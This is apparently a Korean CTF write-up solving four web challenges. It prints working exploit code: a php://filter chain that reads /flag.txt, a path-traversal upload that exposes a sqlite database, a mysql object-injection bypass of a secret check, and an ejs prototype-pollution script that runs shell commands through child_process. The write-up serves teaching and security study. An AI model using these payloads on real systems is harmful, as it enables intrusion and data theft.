1. Free Flag (Easy)
문제 코드는 간단하다.
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Free Flag</title>
</head>
<body>
<?php
function isRateLimited($limitTime = 1)
{
$ipAddress = $_SERVER['REMOTE_ADDR'];
$filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
$lastRequestTime = @file_get_contents($filename);
if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
return true;
}
file_put_contents($filename, time());
return false;
}
if (isset($_POST['file'])) {
if (isRateLimited()) {
die("Limited 1 req per second");
}
$file = $_POST['file'];
if (substr(file_get_contents($file), 0, 5) !== "<?php" && substr(file_get_contents($file), 0, 5) !== "<html") # i will let you only read my source haha
{
die("catched");
} else {
echo file_get_contents($file);
}
}
?>
</body>
</html>
간단히 file_get_contents() 에 받은 인자를 넘겨주고 그 내용이 <?php 또는 <html로 시작하지 않으면 필터링을 하는 코드이다.
처음 접근은 file_get_contents를 3번 호출하므로 서버를 만들어 1~2번째 요청은 <html 을 반환하고, 세번째 요청은 file:///etc/passwd 로 Redirect 하게 하였으나, 작동하지 않았다.
게다가 문제 서버에선 외부로 요청을 보낼 수 없었다.
하지만 file_get_contents는 php 스키마를 사용하여 특정 작업을 수행할 수 있다. 예를 들어 php://filter/$filters/resource=file:///etc/passwd 이러한 URL을 만들면 /etc/passwd에서 파일을 가져온 뒤 처리하는데 여기에 넣을 수 있는 필터들을 응용하여 <?php 문자열을 앞에 붙여주면 풀 수 있다.
https://github.com/synacktiv/php_filter_chain_generator
GitHub - synacktiv/php_filter_chain_generator
Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.
github.com
이러한 코드를 생성해주는 코드가 깃헙에 있기 때문에 이러한 것을 이용하면 풀 수 있다.
유의할 점으로는 <?php 문자열과 파일의 내용을 base64로 만들고, 둘이 단순히 붙이기 때문에, <?php 문자열이나 <html 문자열은 입력 길이가 3으로 나누어 떨어지지 않기 때문에 임의의 글자 하나를 붙여줘야 제대로 출력된다.
익스플로잇 코드
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=file:///flag.txt2. Watermelon
2. Watermelon (Easy)
대회에 나온 웹해킹 문제중에 가장 쉬운 난이도를 갖고 있다.
전체 코드
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)
class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(255), nullable=False)
filepath = db.Column(db.String(255), nullable=False)
uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
user = db.relationship('User', backref=db.backref('files', lazy=True))
def create_admin_user():
admin_user = User.query.filter_by(username='admin').first()
if not admin_user:
admin_user = User(username='admin', password= secrets.token_hex(20))
db.session.add(admin_user)
db.session.commit()
print("Admin user created.")
else:
print("Admin user already exists.")
with app.app_context():
db.create_all()
create_admin_user()
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session:
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
@app.route('/')
def index():
return 'Welcome to my file sharing API'
@app.post("/register")
def register():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
if User.query.filter_by(username=username).first():
return jsonify({"Error": "Username already exists"}), 409
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
return jsonify({"Message": "User registered successfully"}), 201
@app.post("/login")
def login():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
user = User.query.filter_by(username=username, password=password).first()
if not user:
return jsonify({"Error": "Invalid username or password"}), 401
session['user_id'] = user.id
session['username'] = user.username
return jsonify({"Message": "Login successful"}), 200
@app.get('/profile')
@login_required
def profile():
return jsonify({"username": session['username'], "user_id": session['user_id']})
@app.get('/files')
@login_required
def list_files():
user_id = session.get('user_id')
files = File.query.filter_by(user_id=user_id).all()
file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
return jsonify({"files": file_list}), 200
@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
if 'file' not in request.files:
return jsonify({"Error": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"Error": "No selected file"}), 400
user_id = session.get('user_id')
if file:
blocked = ["proc", "self", "environ", "env"]
filename = file.filename
if filename in blocked:
return jsonify({"Error":"Why?"})
user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
os.makedirs(user_dir, exist_ok=True)
file_path = os.path.join(user_dir, filename)
file.save(f"{user_dir}/{secure_filename(filename)}")
new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
db.session.add(new_file)
db.session.commit()
return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201
return jsonify({"Error": "File upload failed"}), 500
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
file = File.query.filter_by(id=file_id, user_id=user_id).first()
if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404
try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500
@app.get('/admin')
@admin_required
def admin():
return os.getenv("FLAG","BHFlagY{testing_flag}")
if __name__ == '__main__':
app.run(host='0.0.0.0')
일단 파일을 업로드 할 때에 파일을 저장하거나, 파일 이름을 저장할 때에는 secure_filename 함수를 통해 escape 하는데, 파일 경로를 저장할 때에는 escape 코드가 없다.
file_path = os.path.join(user_dir, filename)
file.save(f"{user_dir}/{secure_filename(filename)}")
new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
이를 통해 원하는 경로에 있는 파일을 읽을 수 있다.
이제 플래그를 찾아야 하는데, 플래그가 포함된 파일은 모두 .dockerignore를 통해 제외되어 있다.
하지만 /admin 경로에 접근하면 플래그를 제공해준다. 이를 통해 admin 계정의 비밀번호를 얻으면 문제를 풀 수 있다.
데이터베이스를 sqlite를 쓰고 있고, 우리는 원하는 경로의 파일을 읽을 수 있기 때문에, 이를 통하여 sqlite db 파일을 읽을 수 있다.
유의할 점으로는 db가 같은 경로가 아니라 instance/db.db 경로에 저장되어 있고, 이는 도커를 직접 켜서 확인해 볼 수 있다.
sqlite 파일을 다운로드 했다면, db를 열고 어드민의 비밀번호를 확인하여 로그인하면 된다.
익스플로잇 코드
const formdata = new FormData();
formdata.append("file", fileInput.files[0], "../../../../../app/instance/db.db");
const requestOptions = {
method: "POST",
body: formdata,
redirect: "follow"
};
fetch("http://a7fb0e77002823ad8b10d.playat.flagyard.com/upload", requestOptions)
.then((response) => response.text())
.then((result) => console.log(result))
.catch((error) => console.error(error));
3. Notey (Medium)
전체 코드
database.js
const mysql = require('mysql');
const crypto=require('crypto');
const pool = mysql.createPool({
host: '127.0.0.1',
user: 'ctf',
password: 'ctf123',
database: 'CTF',
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0
});
// One liner to wait a second
async function wait() {
await new Promise(r => setTimeout(r, 1000));
}
function insertAdminUserOnce(callback) {
const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';
const username = 'admin';
const password = crypto.randomBytes(32).toString("hex");
pool.query(checkUserQuery, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
const userCount = results[0].count;
if (userCount === 0) {
pool.query(insertUserQuery, [username, password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log(`Admin user inserted successfully with this passwored ${password}.`);
callback(null, results);
});
} else {
console.log('Admin user already exists. No insertion needed.');
callback(null, null);
}
});
}
function insertAdminNoteOnce(callback) {
const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"';
const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)';
const flag = process.env.DYN_FLAG || "placeholder";
const secret = crypto.randomBytes(32).toString("hex");
pool.query(checkNoteQuery, [], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
const NoteCount = results[0].count;
if (NoteCount === 0) {
pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log(`Admin Note inserted successfully with this secret ${secret}`);
callback(null, results);
});
} else {
console.log('Admin Note already exists. No insertion needed.');
callback(null, null);
}
});
}
function login_user(username,password,callback){
const query = 'Select * from users where username = ? and password = ?';
pool.query(query, [username,password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
function register_user(username, password, callback) {
const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';
pool.query(checkUserQuery, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
const userCount = results[0].count;
if (userCount === 0) {
pool.query(insertUserQuery, [username, password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log('User registered successfully.');
callback(null, results);
});
} else {
console.log('Username already exists.');
callback(null, null);
}
});
}
function getNotesByUsername(username, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE username = ?';
pool.query(query, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
function getNoteById(noteId, secret, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
console.log(noteId,secret);
pool.query(query, [noteId,secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
function addNote(username, content, secret, callback) {
const query = 'Insert into notes(username,secret,note)values(?,?,?)';
pool.query(query, [username, secret, content], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
module.exports = {
getNotesByUsername, login_user, register_user, getNoteById, addNote, wait, insertAdminNoteOnce, insertAdminUserOnce
};
index.js
const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');
const app = express();
app.use(bodyParser.urlencoded({
extended: true
}))
app.use(session({
secret: crypto.randomBytes(32).toString("hex"),
resave: true,
saveUninitialized: true
}));
app.get('/',(req,res)=>{
res.send("Welcome")
})
app.get('/profile', middleware.auth, (req, res) => {
const username = req.session.username;
db.getNotesByUsername(username, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
res.json(notes);
});
});
app.get('/viewNote', middleware.auth, (req, res) => {
const { note_id,note_secret } = req.query;
if (note_id && note_secret){
db.getNoteById(note_id, note_secret, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
return res.json(notes);
});
}
else
{
return res.status(400).json({"Error":"Missing required data"});
}
});
app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
const { content, note_secret } = req.body;
db.addNote(req.session.username, content, note_secret, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Note added successful' });
} else {
return res.status(409).json({ error: 'Something went wrong' });
}
});
});
app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;
db.login_user(username, password, (err, results) => {
if (err) {
console.log(err);
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results.length > 0) {
req.session.username = username;
return res.json({ message: 'Login successful' });
} else {
return res.status(401).json({ error: 'Invalid username or password' });
}
});
});
app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;
db.register_user(username, password, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Registration successful' });
} else {
return res.status(409).json({ error: 'Username already exists' });
}
});
});
db.wait().then(() => {
db.insertAdminUserOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
db.insertAdminNoteOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
app.listen(3000, () => {
console.log('Server started on http://localhost:3000');
});
}
});
}
});
});
middleware.js
const auth = (req, res, next) => {
ssn = req.session
if (ssn.username) {
return next();
} else {
return res.status(401).send('Authentication required.');
}
};
const login = (req,res,next) =>{
const {username,password} = req.body;
if ( !username || ! password )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof username !== "string" || typeof password !== "string")
{
return res.status(400).send("Wrong data format");
}
next();
}
const addNote = (req,res,next) =>{
const { content, note_secret } = req.body;
if ( !content || ! note_secret )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof content !== "string" || typeof note_secret !== "string")
{
return res.status(400).send("Wrong data format");
}
else if( !(content.length > 0 && content.length < 255) || !( note_secret.length >=8 && note_secret.length < 255) )
{
return res.status(400).send("Wrong data length");
}
next();
}
module.exports ={
auth, login, addNote
};
이 서버에 있는 취약점은, addNote 경로에 대해선 addNote 미들웨어를 통해 파라미터가 string인지 검사하였지만, viewNote에 대해선 검사하지 않아서 쿼리에 원하는 데이터를 넣을 수 있다.
플래그를 얻기 위해서는 서버가 실행될 때 생성되는 어드민 노트를 봐야 한다. 이 노트는 secret이 랜덤이기 때문에,
위 취약점을 이용하여 secret을 우회하여 플래그가 적힌 노트를 읽어야 한다.
app.get("/viewNote", middleware.auth, (req, res) => {
const { note_id, note_secret } = req.query;
if (note_id && note_secret) {
db.getNoteById(note_id, note_secret, (err, notes) => {
if (err) {
return res.status(500).json({ error: "Internal Server Error" });
}
return res.json(notes);
});
} else {
return res.status(400).json({ Error: "Missing required data" });
}
});
function getNoteById(noteId, secret, callback) {
const query =
"SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?";
console.log(noteId, secret);
pool.query(query, [noteId, secret], (err, results) => {
if (err) {
console.error("Error executing query:", err);
callback(err, null);
return;
}
callback(null, results);
});
}
note_secret에 배열이나 객체를 넣게 되면,
배열
SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = '1', '2'
객체
SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = `a` = '1'
이런식으로 해석이 된다. 이를 통하여 키를 secret으로 하고 값을 1로 하게 되면
SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = `secret` = '1'
이런식으로 우회할 수 있어 관리자의 노트를 볼 수 있다.
관리자의 노트 id는 AUTO_INCREMENT=66 을 통해 66임을 알거나, 직접 노트를 하나 추가해봐서 알 수 있다.
4. Fastest Delivery Service (Hard)
공격은 프로토타입을 통해 ejs 3.1.9까지 있던 취약점을 이용하여 푸는 문제이다.
코드가 많아 주요 코드만 보여주자면
app.post('/address', (req, res) => {
const { user } = req.session;
const { addressId, Fulladdress } = req.body;
if (user && users[user.username]) {
addresses[user.username][addressId] = Fulladdress;
users[user.username].address = addressId;
res.redirect('/login');
} else {
res.redirect('/register');
}
});
로그인 후 주소를 지정할 때 프로토타입 오염을 수행할 수 있으며,
{
"name": "food-delivery-service",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.1",
"ejs":"^3.1.9",
"express-session":"^1.18.0"
}
}
ejs 버전이 ^3.1.9로 되어 있지만, 도커 파일에서 npm ci를 통해 package-lock.json에 있는 패키지 내용대로 설치하므로,
3.1.10버전이 아닌, package-lock.json에 있는 ejs 버전인 3.1.9로 설치된다.
function Template(text, opts) {
opts = opts || utils.createNullProtoObjWherePossible();
...
}
Template.prototype = {
...
compile: function () {
...
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
...
}
...
}
ejs.js 에 있는 이 코드를 통하여 공격이 가능하다. escapeFn은 별다른 검증 없이 직접 코드에 추가해주며, 이를 위해선 선행 조건으로 opts.client가 truthy value이여야 한다.
프로토타입 공격을 통하여 client: 1, escapeFn: payload 이렇게 설정해주면 바로 공격을 실행할 수 있다.
페이로드
import requests
host = "http://afa7e436bad357d78723e.playat.flagyard.com"
session = requests.Session()
r = session.post(f'{host}/register', data={
'username': '__proto__',
'password': 'asdf',
});
r = session.post(f'{host}/address', data={
'username': '__proto__',
'addressId': 'client',
'Fulladdress': '1',
})
r = session.post(f'{host}/address', data={
'username': '__proto__',
'addressId': 'escapeFunction',
'Fulladdress': '1; throw new Error(process.mainModule.require("child_process").execSync(`cat /tmp/flag*`).toString())',
})
print(r.text)